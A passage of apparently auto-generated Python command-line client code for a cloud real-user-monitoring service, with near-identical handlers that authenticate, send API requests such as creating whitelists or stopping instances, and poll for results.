reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.CreateWhitelistRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.CreateWhitelist(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeProjects(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeProjectsRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeProjects(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doCreateStarProject(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.CreateStarProjectRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.CreateStarProject(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDeleteWhitelist(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DeleteWhitelistRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DeleteWhitelist(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doModifyProjectLimit(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.ModifyProjectLimitRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.ModifyProjectLimit(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doStopInstance(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.StopInstanceRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.StopInstance(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doModifyProject(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.ModifyProjectRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.ModifyProject(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDeleteReleaseFile(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DeleteReleaseFileRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DeleteReleaseFile(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDeleteLogExport(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DeleteLogExportRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DeleteLogExport(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeWhitelists(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeWhitelistsRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeWhitelists(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeDataEventUrl(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeDataEventUrlRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeDataEventUrl(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDeleteOfflineLogRecord(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DeleteOfflineLogRecordRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DeleteOfflineLogRecord(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeOfflineLogConfigs(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeOfflineLogConfigsRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeOfflineLogConfigs(model)
result = rsp.to_json_string()
try:
json_obj = json.loads(result)
except TypeError as e:
json_obj = json.loads(result.decode('utf-8')) # python3.3
if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']:
break
cur_time = time.time()
if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']:
raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' %
(g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'],
search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)))
else:
print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))
time.sleep(g_param['OptionsDefine.WaiterInfo']['interval'])
FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter])
def doDescribeScores(args, parsed_globals):
g_param = parse_global_arg(parsed_globals)
if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]:
cred = credential.CVMRoleCredential()
elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]:
cred = credential.STSAssumeRoleCredential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')],
g_param[OptionsDefine.RoleSessionName.replace('-', '_')]
)
else:
cred = credential.Credential(
g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token]
)
http_profile = HttpProfile(
reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]),
reqMethod="POST",
endpoint=g_param[OptionsDefine.Endpoint],
proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')]
)
profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256")
mod = CLIENT_MAP[g_param[OptionsDefine.Version]]
client = mod.RumClient(cred, g_param[OptionsDefine.Region], profile)
client._sdkVersion += ("_CLI_" + __version__)
models = MODELS_MAP[g_param[OptionsDefine.Version]]
model = models.DescribeScoresRequest()
model.from_json_string(json.dumps(args))
start_time = time.time()
while True:
rsp = client.DescribeScores(model)
result = rsp.to_json_string()
try:
